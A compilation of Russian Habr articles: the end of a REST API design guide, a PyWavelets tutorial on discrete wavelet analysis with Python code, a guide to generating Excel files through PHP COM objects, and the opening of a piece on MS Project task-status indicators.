в каждом конкретном случае. Скорее всего, использование кодов ответов не везде будет оправданным и уместным. Например, если вы пишете бэкенд для небольшого веб-приложения — то легко можно ограничиться кодами ошибок в теле ответа. А еще стандартый ответ 200 OK позволит создать два механимза обработки ошибок: для ошибок сервера и для ошибок самого API. В общем — думайте, взвешивайте. А потом принимайте решение.*
И, конечно же, при ошибке всегда нужно прикладывать сообщение для разработчиков. А приложить к сообщению ссылку на документацию по проблеме — это еще лучше.
##### Никогда не выпускайте API без указания версии
> Twilio `/2010-04-01/Accounts`
>
> salesforce.com `/services/data/v20.0/sobjects/Account`
>
> Facebook `?v=1.0`
Twilio требует при каждом запросе к API передавать время, когда приложение разработчика было скомпилировано. На основе этой даты Twilio определяет, какую версию API нужно предоставить приложению. Это умный и интересный подход, но слишком сложный. А еще можно легко запутаться с датами.
Salesforce.com вставляет v20.0 в середину адреса API запроса. И это очень хороший подход. Но не стоит использовать точку в нумерации версии — это провоцирует излишне частые изменения в интерфейсе API. Можно сколь угодно часто менять логику работы внутри API, но вот сами интерфейсы должны меняться максимально редко. Так что лучше обойтись без точки и не искушать себя.
Facebook тоже использует нумерацию версий в запросе, но прячет её в параметры запроса. И этот подход плох тем, что после очередного внедрения новой версии API все приложения, не передающие версию в запросе, начинают глючить.
##### Как реализовать версии в API?
Используйте префикс **v**, целые числа и располагайте номер версии в левой части адреса. Например, **/v1/dogs**.
Держите в рабочем виде как минимум одну предыдущую версию
Еще можно указывать версию в заголовках ответа сервера. Это может давать некоторые дополнительные возможности при работе с API. Но если вы используете множество разных версий и требуете обязательно указывать их в заголовках — это симптом большой проблемы.
##### Частичный ответ
Частичный ответ позволяет разработчикам запросить только ту информацию, которая им нужна. Например, запросы к некоторым API могут вернуть кучу лишней информации, которая почти не используется: всякие таймстампы, метаданные и т.д. Чтобы не запрашивать лишнюю информацию, в Google придумали частичный ответ.
> Linkedin `/people: (id, first-name, last-name, industry)`
>
> Facebook `/joe.smith/friends?fields=id,name,picture`
>
> Google `?fields=title, media:group(media:thumbnail)`
Перечислять необходимые поля через запятую в адресе запроса — это очень простой и удобный подход. Берите его на вооружение.
##### Сделайте простую паджинацию
Отдавать все записи по первому же запросу — очень плохая идея. Поэтому вы должны обязательно предусмотреть паджинацию. Давайте посмотрим, как в популярных API можно вытащить записи с 50 по 75.
> Facebook: `смещение 50 и лимит 25`
>
> Twitter: `страница 3 и 25 записей на страницу`
>
> Linkedin: `с 50-й записи прочитать 25`
Мы рекомендуем использовать лимит и смещение. Этот подход более интуитивен.
> `/dogs?limit=25&offset=50`
Еще стоит приложить к каждому ответу мета-информацию: текущая страница, сколько всего записей доступно.
Предусмотрите значения по умолчанию: если пользователь не передал в запросе параметры паджинации, считайте лимит равным **10** и смещение — равным **0** (вывести первые 10 записей).
##### А что насчет действий?
Не все API-ресуры являются записями, которые можно читать, редактировать и удалять. Бывают и API-действия. Переводы, вычисления, конвертации — все это действия.
Лучше всего для таких запросов использовать глаголы, а не существительные.
> `/convert?from=EUR&to=USD&amount=100`
Убедитесь, что даже просто глядя на список вызовов в документации можно отличить сущности от действий.
##### Поддержка нескольких форматов
Здорово поддерживать несколько форматов ответа.
> `Google ?alt=json`
>
> `Foursquare /venue.json`
>
> `Digg ?type=json`
Кстати, Digg позволяет установить формат ответа и через HTTP-заголовок Accept.
Мы рекомендуем подход Foursquare.
> `/dogs.json`
>
> `/dogs/1234.json`
*Еще можно предусмотреть ответы API не только в разных форматах, но и ответы для разных типов клиентов. Например, можно сделать API, способное работать одновременно с iOS-приложением и фронт-эндом веб-приложения. Это может выглядеть так: /dogs.ios и /dogs.web.*
##### Формат по умолчанию
JSON — пожалуй, лучший формат по умолчанию. Он менее многословен, чем XML. Его поддерживают все популярные языки. Его можно сразу же использовать на фронт-энде веб-приложения.
##### Названия атрибутов
Атрибуты можно называть разными способами.
> Twitter `created_at`
>
> Bing `DateTime`
>
> Foursquare `createdAt`
Существует много конвенций именования переменных. Нам, как спецам по Ruby on Rails, конвенция Twitter близка по духу. Но лучшим подходом мы считаем подход Foursquare: — camelCase (переменные с маленькой буквы, классы — с большой). Такой способ именования наиболее симпатичен для подачи данных в JSON: данные выглядят похоже на JavaScript. Что, в общем, логично для JSON.
*Хоть автор и советует почаще использовать camelCase, лучше все же подумать о клиенте и потом уже принимать решение. Например, с вашим API может общаться программа, написанная на C, а ей лучше использовать **несколько\_другую\_конвенцию**.*
##### Поиск
Глобальный поиск оформить просто:
> `/search?q=search+word`
Поиск по конкретным сущностям можно легко представить, опираясь на то, что мы узнали ранее:
> `/owners/5678/dogs?q=red`
А чтобы представлять данные в разных форматах, мы вспомним о расширениях:
> `/search.xml?q=search+word`
##### Соберите все API вызовы на одном домене
Facebook предоставляет два домена.
> `api.facebook.com` этот адрес появился первым
>
> `graph.facebook.com` этот адрес ввели после внедрения глобального графа
Foursquare ограничились одним адресом
> `api.foursquare.com`
Twitter завели 3 адреса, 2 из которых ориентированы на посты и поиск
> `stream.twitter.com`
>
> `api.twitter.com`
>
> `search.twitter.com`
Легко догадаться, как Facebook и Twitter завели себе по несколько адресов: проще направлять запросы в разные кластеры через DNS, чем через логику. Но мы делаем приятный API для разработчиков, поэтому опять выберем подход Foursquare.
*На всякий случай напомню, что разработчикам небольшого бэкенда для веб-приложения не надо выделять отдельный домен, чтобы не создавать проблемы с кроссдоменными ajax-запросами на фронт-энде.*
##### Делайте редиректы
Если кто-то обращается к вашему API-домену и не передает никаких параметров — смело делайте редирект на домен с документацией для разработчиков. Заведите несколько интуитивно понятных доменов для документации и делайте редирект на основной домен разработчиков.
> `api.* -> developers.*`
>
> `dev.* -> developers.*`
>
> `developer.* -> developers.*`
##### Коды HTTP ответов и исключения на клиенте
Как мы уже говорили ранее, лучше всего отправлять код ошибки не только в теле ответа API, но и в HTTP коде ответа. Но как быть, если клиент выбрасывает исключение при получении любого кода HTTP, отличного от 200? Для таких случаев ребята из Twitter предусмотрели блестящее и простое решение — добавлять параметр к запросу.
> `/public_timelines.json?suppress_response_code=true`
В результате ошибки будут приходить с кодом 200.
Предусмотрите в своем API параметр **suppress\_response\_codes** и сделайте его равным **true** по умолчанию.
##### А что если клиент поддерживает ограниченный набор HTTP методов?
В таком случае нужно эмулировать полноценный REST API с помощью GET-параметров.
> `чтение /dogs`
>
> `создание /dogs?method=post`
>
> `редактирование /dogs/1234?method=put`
>
> `удаление /dogs/1234?method=delete`
Будьте аккуратны с таким подходом! Если вы будете неаккуратно обращаться с такими ссылками и не обеспечите им должной безопасности, боты (вроде поискового робота Google) могут вызывать такие ссылки. И вы получите бесконечно создающиеся и удаляющиеся записи при каждом заходе бота.
##### Авторизация
Этот вопрос сложный, и мы с моими коллегами никогда не можем прийти к согласию быстро. Давайте посмотрим, что делают ведущие игроки.
> PayPal Permissions Service API
>
> Facebook OAuth 2.0
>
> Twitter 1.0a
Обратите внимание на то, что PayPal реализовали свою систему авторизации еще до того, как был изобретен OAuth.
Если вам требуется авторизация пользователей через сторонние приложения — только OAuth. И ни в коем случае не делайте что-то вроде OAuth, но «немного другое».
##### «Болтливые» API
«Болтливые» — это значит, что для выполнения популярных операций приходится выполнять 3-4 вызова API подряд. Это плохо.
Попробуйте посмотреть на ваши вызовы глазами пользователя. Вы увидите, что примерно 80% вызовов принимают и отдают данные одинаковой структуры. Это значит, что вполне можно сделать псевдонимы для последовательностей вызовов. После этого пользователь сможет единожды направить данные на вход, и вся цепочка вызовов выполнится сама. | https://habr.com/ru/post/181988/ | null | ru | null |
# Вейвлет — анализ.Часть 1
### Введение
Рассмотрим дискретное вейвлет – преобразования (DWT), реализованное в библиотеке PyWavelets [PyWavelets 1.0.3](https://pywavelets.readthedocs.io/en/latest/ref/signal-extension-modes.html#modes). PyWavelets — это бесплатное программное обеспечение с открытым исходным кодом, выпущенное по лицензии MIT.
При обработке данных на компьютере может выполняться дискретизированная версия непрерывного вейвлет-преобразования, основы которого описаны в моей предыдущей [статье](https://habr.com/ru/post/449646/). Однако, задание дискретных значений параметров (a,b) вейвлетов с произвольным шагом Δa и Δb требует большого числа вычислений.
Кроме того, в результате получается избыточное количество коэффициентов, намного превосходящее число отсчетов исходного сигнала, которое не требуется для его реконструкции.
Дискретное вейвлет – преобразование (DWT), реализованное в библиотеке PyWavelets, обеспечивает достаточно информации как для анализа сигнала, так и для его синтеза, являясь вместе с тем экономным по числу операций и по требуемой памяти.
### Когда нужно использовать вейвлет-преобразование вместо преобразования Фурье
Преобразования Фурье будет работать очень хорошо, когда частотный спектр стационарный. При этом частоты, присутствующие в сигнале, не зависят от времени, и сигнал содержит частоты xHz, которые присутствует в любом месте сигнала. Чем нестационарнее сигнал, тем хуже будут результаты. Это проблема, так как большинство сигналов, которые мы видим в реальной жизни, нестационарны по своей природе.
Преобразование Фурье имеет высокое разрешение в частотной области, но нулевое разрешение во временной области. Покажем это на следующих двух примерах.
**Листинг**
```
import numpy as np
from scipy import fftpack
from pylab import*
N=100000
dt = 1e-5
xa = np.linspace(0, 1, num=N)
xb = np.linspace(0, 1/4, num=N/4)
frequencies = [4, 30, 60, 90]
y1a, y1b = np.sin(2*np.pi*frequencies[0]*xa), np.sin(2*np.pi*frequencies[0]*xb)
y2a, y2b = np.sin(2*np.pi*frequencies[1]*xa), np.sin(2*np.pi*frequencies[1]*xb)
y3a, y3b = np.sin(2*np.pi*frequencies[2]*xa), np.sin(2*np.pi*frequencies[2]*xb)
y4a, y4b = np.sin(2*np.pi*frequencies[3]*xa), np.sin(2*np.pi*frequencies[3]*xb)
def spectrum_wavelet(y):
Fs = 1 / dt # sampling rate, Fs = 0,1 MHz
n = len(y) # length of the signal
k = np.arange(n)
T = n / Fs
frq = k / T # two sides frequency range
frq = frq[range(n // 2)] # one side frequency range
Y = fftpack.fft(y) / n # fft computing and normalization
Y = Y[range(n // 2)] / max(Y[range(n // 2)])
# plotting the data
subplot(2, 1, 1)
plot(k/N , y, 'b')
ylabel('Amplitude')
grid()
# plotting the spectrum
subplot(2, 1, 2)
plot(frq[0:140], abs(Y[0:140]), 'r')
xlabel('Freq')
plt.ylabel('|Y(freq)|')
grid()
y= y1a + y2a + y3a + y4a
spectrum_wavelet(y)
show()
```
На этом графике все четыре частоты присутствуют в сигнале в течении всего времени его действия.
**Листинг**
```
import numpy as np
from scipy import fftpack
from pylab import*
N=100000
dt = 1e-5
xa = np.linspace(0, 1, num=N)
xb = np.linspace(0, 1/4, num=N/4)
frequencies = [4, 30, 60, 90]
y1a, y1b = np.sin(2*np.pi*frequencies[0]*xa), np.sin(2*np.pi*frequencies[0]*xb)
y2a, y2b = np.sin(2*np.pi*frequencies[1]*xa), np.sin(2*np.pi*frequencies[1]*xb)
y3a, y3b = np.sin(2*np.pi*frequencies[2]*xa), np.sin(2*np.pi*frequencies[2]*xb)
y4a, y4b = np.sin(2*np.pi*frequencies[3]*xa), np.sin(2*np.pi*frequencies[3]*xb)
def spectrum_wavelet(y):
Fs = 1 / dt # sampling rate, Fs = 0,1 MHz
n = len(y) # length of the signal
k = np.arange(n)
T = n / Fs
frq = k / T # two sides frequency range
frq = frq[range(n // 2)] # one side frequency range
Y = fftpack.fft(y) / n # fft computing and normalization
Y = Y[range(n // 2)] / max(Y[range(n // 2)])
# plotting the data
subplot(2, 1, 1)
plot(k/N , y, 'b')
ylabel('Amplitude')
grid()
# plotting the spectrum
subplot(2, 1, 2)
plot(frq[0:140], abs(Y[0:140]), 'r')
xlabel('Freq')
plt.ylabel('|Y(freq)|')
grid()
y = np.concatenate([y1b, y2b, y3b, y4b])
spectrum_wavelet(y)
show()
```
На этом графике сигналы не перекрываются во времени, боковые лепестки обусловлены разрывом между четырьмя различными частотами.
Для двух частотных спектров, содержащих точно такие же четыре пика, преобразование Фурье не может определить, где в сигнале эти частоты присутствуют. Лучшим подходом для анализа сигналов с динамическим частотным спектром является вейвлет-преобразования.
### Основные свойства вейвлетов
Выбор типа, а следовательно свойств вейвлета, зависит от поставленной задачи анализа, например, для определения действующих значений токов в электроэнергетике большую точность обеспечивают вейвлеты Ингрид Добеши больших порядков. Свойства вейвлетов можно получить используя функцию pywt.DiscreteContinuousWavelet() в следующем листинге:
**Листинг**
```
import pywt
from pylab import *
from numpy import *
discrete_wavelets = ['db5', 'sym5', 'coif5', 'haar']
print('discrete_wavelets-%s'%discrete_wavelets )
st='db20'
wavelet = pywt.DiscreteContinuousWavelet(st)
print(wavelet)
i=1
phi, psi, x = wavelet.wavefun(level=i)
subplot(2, 1, 1)
title("График самой вейвлет - функции -%s"%st)
plot(x,psi,linewidth=2, label='level=%s'%i)
grid()
legend(loc='best')
subplot(2, 1, 2)
title("График первообразной -функции -%s"%st)
plt.plot(x,phi,linewidth=2, label='level=%s'%i)
legend(loc='best')
grid()
show()
```
Получим:
discrete\_wavelets-['db5', 'sym5', 'coif5', 'haar']
```
Wavelet db20
Family name: Daubechies
Short name: db
Filters length: 40
Orthogonal: True
Biorthogonal: True
Symmetry: asymmetric
DWT: True
CWT: False
```
В ряде практических случаев возникает необходимость получить информацию о центральной частоте psi вейвлет – функции, которая используется, например, при вейвлет-анализе сигналов для выявления дефектов в зубчатых передачах:
```
import pywt
fс=pywt.central_frequency('haar', precision=8 )
print(fс)
# или так:
scale=1
fс1=pywt.scale2frequency('haar',scale)
print(fс1)
```
```
0.9961089494163424
0.9961089494163424
```
Пользуясь центральной частотой  материнского вейвлета и масштабным коэффициентом «a» можно преобразовывать шкалы в псевдо частоты  используя уравнение:
### Режимы расширения сигнала
Перед вычислением дискретного вейвлет-преобразования с использованием **банков фильтров** возникает необходимость **удлинить сигнал**. В зависимости от метода экстраполяции, на границах сигнала могут возникнуть существенные артефакты, приводящие к неточностям DWT преобразования.
PyWavelets предоставляет несколько методов экстраполяции сигнала, которые могут быть использованы для минимизации указанного негативного эффекта. Для демонстрации таких методов используем следующий листинг:
**Листинг демонстрации методов удлинения сигнала**
```
import numpy as np
from matplotlib import pyplot as plt
from pywt._doc_utils import boundary_mode_subplot
# synthetic test signal
x = 5 - np.linspace(-1.9, 1.1, 9)**2
# Create a figure with one subplots per boundary mode
fig, axes = plt.subplots(3, 3, figsize=(10, 6))
plt.subplots_adjust(hspace=0.5)
axes = axes.ravel()
boundary_mode_subplot(x, 'symmetric', axes[0], symw=False)
boundary_mode_subplot(x, 'reflect', axes[1], symw=True)
boundary_mode_subplot(x, 'periodic', axes[2], symw=False)
boundary_mode_subplot(x, 'antisymmetric', axes[3], symw=False)
boundary_mode_subplot(x, 'antireflect', axes[4], symw=True)
boundary_mode_subplot(x, 'periodization', axes[5], symw=False)
boundary_mode_subplot(x, 'smooth', axes[6], symw=False)
boundary_mode_subplot(x, 'constant', axes[7], symw=False)
boundary_mode_subplot(x, 'zeros', axes[8], symw=False)
plt.show()
```
На графиках показано, как короткий сигнал (красный) расширяется (черный) за пределами своей первоначальной протяженности.
### Дискретное вейвлет – преобразование
Для демонстрации DWT будем использовать сигнал с динамическим частотным спектром, который со временем увеличивается. Начало сигнала содержит низкочастотные значения, а конец сигнала содержит частоты коротковолнового диапазона. Это позволяет нам легко определить, какая часть частотного спектра отфильтрована, просто взглянув на временную ось:
**Листинг**
```
from pylab import *
from numpy import*
x = linspace(0, 1, num=2048)
chirp_signal = sin(250 * pi * x**2)
fig, ax = subplots(figsize=(6,1))
ax.set_title("Сигнал с динамическим частотным спектром ")
ax.plot(chirp_signal)
show()
```
Дискретное вейвлет-преобразование в PyWavelets 1.0.3 это функция pywt.dwt(), которая вычисляет аппроксимирующие коэффициенты cA и детализирующие коэффициенты cD первого уровня вейвлет-преобразования сигнала, заданного вектором:
**Листинг первого уровня преобразования**
```
import pywt
from pylab import *
from numpy import *
x = linspace (0, 1, num = 2048)
y = sin (250 * pi * x**2)
st='sym5'
(cA, cD) = pywt.dwt(y,st)
subplot(2, 1, 1)
plot(cA,'b',linewidth=2, label='cA,level-1')
grid()
legend(loc='best')
subplot(2, 1, 2)
plot(cD,'r',linewidth=2, label='cD,level-1')
grid()
legend(loc='best')
show()
```
**Листинг пятого уровня преобразования**
```
import pywt
from pylab import *
from numpy import *
x = linspace (0, 1, num = 2048)
y = sin (250 * pi * x**2)
st='sym5'
(cA, cD) = pywt.dwt(y,st)
(cA, cD) = pywt.dwt(cA,st)
(cA, cD) = pywt.dwt(cA,st)
(cA, cD) = pywt.dwt(cA,st)
(cA, cD) = pywt.dwt(cA,st)
subplot(2, 1, 1)
plot(cA,'b',linewidth=2, label='cA,level-5')
grid()
legend(loc='best')
subplot(2, 1, 2)
plot(cD,'r',linewidth=2, label='cD,level-5')
grid()
legend(loc='best')
show()
```
Коэффициенты аппроксимации (cA) представляют выход фильтра нижних частот (фильтра усреднения) DWT. Коэффициенты детализации (cD) представляют выход фильтра высоких частот (разностного фильтра) DWT.
Можно использовать функцию pywt.wavedec()для немедленного расчета коэффициентов более высокого уровня. Эта функция принимает за вход исходный сигнал и уровень и возвращает один набор коэффициентов аппроксимации (n-го уровня) и n наборов коэффициентов детализации (от 1 до n-го уровня). Вот пример для пятого уровня:
```
from pywt import wavedec
from pylab import *
from numpy import *
x = linspace (0, 1, num = 2048)
y = sin (250 * pi * x**2)
st='sym5'
coeffs = wavedec(y, st, level=5)
subplot(2, 1, 1)
plot(coeffs[0],'b',linewidth=2, label='cA,level-5')
grid()
legend(loc='best')
subplot(2, 1, 2)
plot(coeffs[1],'r',linewidth=2, label='cD,level-5')
grid()
legend(loc='best')
show()
```
В результате получаем те же графики, что и в предыдущем примере. Можно получить отдельно коэффициенты cA и cD:
Для cA:
```
import pywt
from pylab import *
from numpy import*
x = linspace (0, 1, num = 2048)
data = sin (250 * pi * x**2)
coefs=pywt.downcoef('a', data, 'db20', mode='symmetric', level=1)
```
Для cD:
```
import pywt
from pylab import *
from numpy import*
x = linspace (0, 1, num = 2048)
data = sin (250 * pi * x**2)
coefs=pywt.downcoef('d', data, 'db20', mode='symmetric', level=1)
```
### Банк фильтров
Часть вопросов, касающихся уровней преобразования, мы рассмотрели в предыдущем разделе. Однако, DWT всегда реализуется как банк фильтров в виде каскада высокочастотных и низкочастотных фильтров. Банки фильтров являются очень эффективным способом разделения сигнала на несколько частотных поддиапазонов.
На первом этапе с малым масштабом анализируя высокочастотное поведение сигнала. На втором этапе шкала увеличивается с коэффициентом два (частота уменьшается с коэффициентом два), и мы анализируем поведение около половины максимальной частоты. На третьем этапе масштабный фактор равен четырем, и мы анализируем частотное поведение около четверти максимальной частоты. И это продолжается до тех пор, пока мы не достигнем максимального уровня разложения.
Максимальный уровень декомпозиции можно вычислить при помощи функции pywt.wavedec(), при этом декомпозиция и детализация будет иметь вид:
**Листинг**
```
import pywt
from pywt import wavedec
from pylab import *
from numpy import*
x = linspace (0, 1, num = 2048)
data= sin (250 * pi * x**2)
n_level=pywt.dwt_max_level(len(data), 'sym5')
print('Максимальный уровень декомпозиции: %s'%n_level)
x = linspace (0, 1, num = 2048)
y = sin (250 * pi * x**2)
st='sym5'
coeffs = wavedec(y, st, level=7)
subplot(2, 1, 1)
plot(coeffs[0],'b',linewidth=2, label='cA,level-7')
grid()
legend(loc='best')
subplot(2, 1, 2)
plot(coeffs[1],'r',linewidth=2, label='cD,level-7')
grid()
legend(loc='best')
show()
```
Получим:
Максимальный уровень декомпозиции: 7
Декомпозиция останавливается, когда сигнал становится короче, чем длина фильтра для данного вейвлета sym5. Для примера предположим, что у нас есть сигнал с частотами до 1000 Гц. На первом этапе мы разделяем наш сигнал на низкочастотную и высокочастотную части, т. е. 0-500 Гц и 500-1000 Гц. На втором этапе мы берем низкочастотную часть и снова разделяем ее на две части: 0-250 Гц и 250-500 Гц. На третьем этапе мы разделили часть 0-250 Гц на часть 0-125 Гц и часть 125-250 Гц. Это продолжается до тех пор, пока мы не достигнем максимального уровня декомпозиции.
### Анализ wav файлов с использованием fft Фурье и вейвлет скалограммы
Для анализа воспользуемся [файлом WebSDR](http://cloud.mail.ru/public/2u3Y/3N99R46L8). Рассмотрим анализ приведенного сигнала средствами triang из scipy.signal и реализацию дискретного преобразования Фурье в python (fft из scipy.fftpack). Если длина последовательности fft не будет равна 2n, то вместо быстрого преобразования Фурье (fft) будет выполняться дискретное преобразование Фурье (dft). Именно таким образом работает эта команда.
Используем буфер быстрого преобразования Фурье по следующей схеме (численные данные для примера):
fftbuffer=np.zeros(15); создаем буфер, заполненный нулям;
fftbuffer [:8]=x [7:]; перемещаем конец сигнала в первую часть буфера; fftbuffer [8:]=x [:7]—перемещаем начало сигнала в последнюю часть буфера; X=fft(fftbuffer) — считаем преобразование Фурье буфера, заполненного значениями сигнала.
Чтобы фазовый спектр был более читаем, применим развертывание фазы. Для этого изменим строку с расчетом фазовой характеристики: pX=np.unwrap(np.angle(X)).
**Листинг для fft анализа фрагмента сигнала**
```
import numpy as np
from pylab import *
from scipy import *
import scipy.io.wavfile as wavfile
M=501
hM1=int(np.floor((1+M)/2))
hM2=int(np.floor(M/2))
(fs,x)=wavfile.read('WebSDR.wav')
x1=x[5000:5000+M]*np.hamming(M)
N=511
fftbuffer=np.zeros([N])
fftbuffer[:hM1]=x1[hM2:]
fftbuffer[N-hM2:]=x1[:hM2]
X=fft(fftbuffer)
mX=abs(X)
pX=np.angle(X)
suptitle("Анализ радиосигналаWebSDR")
subplot(3, 1, 1)
st='Входной сигнал (WebSDR.wav)'
plot(x,linewidth=2, label=st)
legend(loc='center')
subplot(3, 1, 2)
st=' Частотный спектр входного сигнала'
plot(mX,linewidth=2, label=st)
legend(loc='best')
subplot(3, 1, 3)
st=' Фазовый спектр входного сигнала'
pX=np.unwrap(np.angle(X))
plot(pX,linewidth=2, label=st)
legend(loc='best')
show()
```
Для сравнительного анализа воспользуемся вейвлет [скалограммой](https://www.rupython.com/31238-31238.html), которую можно построить с использованием функции tree = pywt.wavedec(signal, 'coif5') в matplotlib.
**Листинг вейвлет скалограммы**
```
from pylab import *
import pywt
import scipy.io.wavfile as wavfile
# Найти наибольшую мощность двух каналов, которая меньше или равна входу.
def lepow2(x):
return int(2 ** floor(log2(x)))
#Скалограмма с учетом дерева MRA.
def scalogram(data):
bottom = 0
vmin = min(map(lambda x: min(abs(x)), data))
vmax = max(map(lambda x: max(abs(x)), data))
gca().set_autoscale_on(False)
for row in range(0, len(data)):
scale = 2.0 ** (row - len(data))
imshow(
array([abs(data[row])]),
interpolation = 'nearest',
vmin = vmin,
vmax = vmax,
extent = [0, 1, bottom, bottom + scale])
bottom += scale
# Загрузите сигнал, возьмите первый канал.
rate, signal = wavfile.read('WebSDR.wav')
signal = signal[0:lepow2(len(signal))]
tree = pywt.wavedec(signal, 'coif5')
gray()
scalogram(tree)
show()
```
Таким образом, скалограмма дает более детальный ответ на вопрос о распределении частот во времени, а быстрое преобразование Фурье отвечает за сами значения частот. Всё зависит от поставленной задачи даже для такого простого примера.
### Выводы
1. Приведено обоснование использования дискретного вейвлет -преобразования для динамических сигналов.
2. Приведены примеры вейвлет-анализа с использованием PyWavelets 1.0.3 — бесплатного программного обеспечение с открытым исходным кодом, выпущенного по лицензии MIT.
3. Рассмотрены программные средства для практического использования библиотеки PyWavelets. | https://habr.com/ru/post/451278/ | null | ru | null |
# Формирование Excel-документов средствами PHP
Возможность создания Excel-документов [в общих чертах уже была описана на Хабре](http://habrahabr.ru/blogs/php/31149/), но полной информации из этих статей мне получить не удалось. Пришлось заняться собственными изысканиями, результатами которых я хотел бы с Вами поделиться. Данная статья будет полезна и новичкам, и профессионалам, столкнувшимся с проблемой динамического формирования Excel-документов.
Это всего лишь первая часть серии статей, которыми хотелось бы поделиться с общественностью. В последующих статьях будут более подробно рассмотрены некоторые способы и нюансы выгрузки xls-файлов.
#### Введение
Не хочу распространяться на тему того, зачем необходима выгрузка в Excel. Мне кажется, что это вполне очевидно: в формате MS Excel достаточно удобно предоставлять пользователю загружаемые данные. Это могут быть прайс-листы, каталоги или любая подобная служебная, статистическая и иного рода информация.
Сразу хочу оговориться, что в статье рассматривается работа с документами через COM-объекты. Данный метод таботает **только** на Windows-платформах. Другими словами, если Вы предпочитаете \*nix-хостинг, этот метод Вам не подходит.
#### Синтаксис
Создание COM-объекта осуществляется следующим образом:
`$my_com_object = new COM($object_class);`
, где
$my\_com\_object — новый COM-объект;
$object\_class — id-класс требуемого объекта.
Для создания Excel-документов переменной $object\_class необходимо задать значение «Excel.Application» либо «Excel.sheet».
`$xls = new COM("Excel.Application");`
После создания нового COM-объекта, можно обращаться к его свойствам и методам:
`php<br/
$xls = new COM("Excel.Application"); // Создание объекта
$xls->Application->Visible = 1; // Делаем объект видимым
$xls->Workbooks->Add(); // Добавляем новую книгу (создаём документ)
$rangeValue = $xls->Range("A1");
$rangeValue->Value = "Декорация текста: жирный, подчеркнутый, наклонный";
$rangeValue = $xls->Range("A2");
$rangeValue->Value = "Размер шрифта: 14";
$rangeValue = $xls->Range("A3");
$rangeValue->Value = "Тип шрифта: Arial";
$range=$xls->Range("A1:J10"); // Указываем область ячеек
$range->Select(); // Выделяем эту область
$fontRange=$xls->Selection(); // Присваиваем переменной выделенную область
// Отформатируем текст в выделенной области
$fontRange->Font->Bold = true; // Жирный
$fontRange->Font->Italic = true; // Курсив
$fontRange->Font->Underline = true; // Подчеркнутый
$fontRange->Font->Name = "Arial"; // Тип шрифта
$fontRange->Font->Size = 14; // Размер шрифта
?>`
##### Открытие, запись, закрытие документа
###### Общие возможности
В Excel при помощи PHP можно:
* создать новый документ
* открыть ранее созданный документ
* сохранить открытый документ
* закрыть документ
###### Создание нового документа
Создание нового документа происходит в три действия
1. создаем «связь» между PHP и Excel (создается дескриптор, как при работе с файлами)
2. указываем, будет ли визуально открыта программа или нет
3. указываем программе через дескриптор, что нужно открыть новый документ
Для создания дескриптора нужно использовать обращение к Excel через COM-объект:
`$xls = new COM("Excel.Application");`
Теперь через дескриптор $xls мы можем обращаться ко всем свойствам и методам Excel.
Будет ли отображаться Excel или нет, указывается в свойстве Visible() объекта Application().
Если мы этому свойству присвоить значение 1, то программа будет отображаться, если 0, то нет:
`$xls->Application->Visible = 1;`
Ну и, наконец, добавить новый документ можно при помощи метода Add() объекта Workbooks():
`$xls->Workbooks->Add();`
То есть для того, чтобы просто запустить при помощи PHP Excel нужно выполнить следующий код:
`php<br/
$xls = new COM("Excel.Application"); // Создаем новый COM-объект
$xls->Application->Visible = 1; // Делаем его видимым
$xls->Workbooks->Add(); // Создаём новый документ
?>`
Первые две строки этого примера, разумеется, используются всегда при работе с Excel через PHP.
##### Открытие ранее созданного документа
Открытие документа можно сделать при помощи метода Open() объекта Workbooks().
В передаваемом методу Open() параметре нужно указать имя открываемого файла:
`php<br/
$xls = new COM("Excel.Application"); // Создаем новый COM-объект
$xls->Application->Visible = 1; // Делаем его видимым
$xls->Workbooks->Open("C:\my_doc.xls"); // Открываем ранее сохраненный документ
?>`
**Внимание!** Если указать не полный, а относительный путь, то поиск открываемого файла будет происходить не на сервере, а на компьютере пользователя. По умолчанию это папка «Мои документы».
##### Сохранение открытого документа
Сохранение открытого документа производится при помощи метода SaveAs() объекта Workbooks():
`php<br/
$xls = new COM("Excel.Application"); // Создаем новый COM-объект
$xls->Application->Visible = 1; // Делаем его видимым
$xls->Workbooks->Add();
$range=$xls->Range("A1"); // Выбираем ячейку A1
$range->Value = "Проба записи"; // Вставляем значение
// Сохраняем документ
$xls->Workbooks[1]->SaveAs("my_doc.xls");
$xls->Quit(); //Закрываем приложение
$xls->Release(); //Высвобождаем объекты
$xls = Null;
$range = Null;
?>`
Хочу отдельно отметить, что высвобождение объектов — это очень хорошо и правильно. Да сгорят в священном очищающем пламени костров Инквизиции те, кто считает иначе.
##### Закрытие документа
Закрытие документа производится методом Quit().
`php<br/
$xls = new COM("Excel.Application"); // Создаем новый COM-объект
$xls->Application->Visible = 1; // Делаем его видимым
$xls->Workbooks->Add();
$range=$xls->Range("A1"); // Выбираем ячейку A1
$range->Value = "Что-то записываем"; // Вставляем значение в ячейку
// Сохраняем документ
$xls->Workbooks[1]->SaveAs("my_doc.xls");
$xls->Quit(); // Закрываем приложение
$xls->Release(); // Высвобождаем объекты
$xls = Null;
$range = Null;
?>`
#### Заключение
Если статья оказалась Вам полезна и интересна, буду рад подготовить продолжение, где более подробно будут рассматриваться методы работы с листами документов, ячейками и границами.
Разумеется, если это кому-то интересно и необходимо для работы. | https://habr.com/ru/post/55800/ | null | ru | null |
# Навигатор для проекта: MS Project + формулы + индикаторы
#### План – это не идеальная картина, а навигация по проекту
Почему когда вы едете на машине и попадаете в только что возникшую пробку, то ваш навигатор пересчитывает маршрут и время движения по нему, а управляя проектом, вы отказываетесь от такого полезного инструмента?
Когда реальная картина на проекте складывается не так, как было запланировано, то его руководитель начинает выстраивать в голове другие маршруты и перестает ориентироваться на первоначальный план.
Уверен также, что вам знакомо следующее мнение. План – это идеальный сценарий, в действительности все бывает по-другому, поэтому ориентироваться на план невозможно. Авторы подобных тезисов под словосочетанием «план проекта» подразумевают только первоначальный план (**Базовый план**). Но замечу, что проект должен также иметь другой план — **Рабочий план**, который будет учитывать все изменения в проекте и являться вашим навигатором по проекту. Такой инструмент будет показывать вам:
* Ак туальное расписание всех задач
* Узкие места
* Прогноз завершения проекта (этапа)
Используя рекомендации, приведенные в статье, вы научитесь легко оживлять ваши рабочие план-графики, находить проблемные места, прогнозировать достижение конечной цели. Тем самым вы качественно улучшите навыки планирования и контроля, что повысит вашу эффективность минимум на 20%!
#### Настройка статусов задач
Вам один раз нужно настроить программу (MS Project), используя формулы, приведенные в конце статьи, и графические индикаторы.
После чего вы сможете регулярно использовать простой и эффективный инструмент.
Итак, рассмотрим статусы задач, которые нам предстоит настроить.
* **Завершено**
Задача выполнена на 100%
* **Будущая задача**
Задача будет выполняться в будущем как по плану, так и фактически.
